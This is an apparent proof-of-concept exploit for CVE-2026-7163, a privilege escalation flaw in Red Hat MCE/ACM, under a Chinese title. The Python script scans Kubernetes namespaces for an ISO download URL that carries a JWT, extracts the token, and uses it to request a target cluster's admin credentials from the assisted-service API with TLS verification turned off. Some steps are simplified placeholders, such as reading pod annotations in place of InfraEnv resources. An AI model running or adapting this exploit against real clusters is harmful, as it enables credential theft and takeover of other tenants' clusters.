CVE-2026-7163 Red Hat MCE/ACM 权限提升漏洞

#!/usr/bin/env python3 import requests import re from kubernetes import client, config # Load kubeconfig for the local hub config.load_kube_config() v1 = client.CoreV1Api() # Step 1: List InfraEnv objects in accessible namespaces namespaces = [ns.metadata.name for ns in v1.list_namespace().items] found_jwt = None for ns in namespaces: # Assuming custom resource definition access, simplified here # In real scenario, use CustomObjectsApi to get InfraEnv infra_envs = v1.list_namespaced_pod(ns) # Placeholder for CR retrieval for env in infra_envs.items: # Check status for ISODownloadURL iso_url = env.metadata.annotations.get('assisted-service/ISODownloadURL') if iso_url and 'jwt=' in iso_url: # Step 2: Extract JWT from URL match = re.search(r'jwt=([^&]+)', iso_url) if match: found_jwt = match.group(1) print(f"[+] Found JWT in namespace {ns}") break if found_jwt: break if found_jwt: # Step 3: Use JWT to access admin credentials target_cluster_id = "target-cluster-id" # ID of cluster to attack headers = {"Authorization": f"Bearer {found_jwt}"} creds_url = f"https://assisted-service-url/v2/clusters/{target_cluster_id}/credentials" response = requests.get(creds_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Success! Credentials: {response.text}") else: print(f"[-] Failed to get credentials: {response.status_code}") else: print("[-] No JWT found in accessible InfraEnv objects.")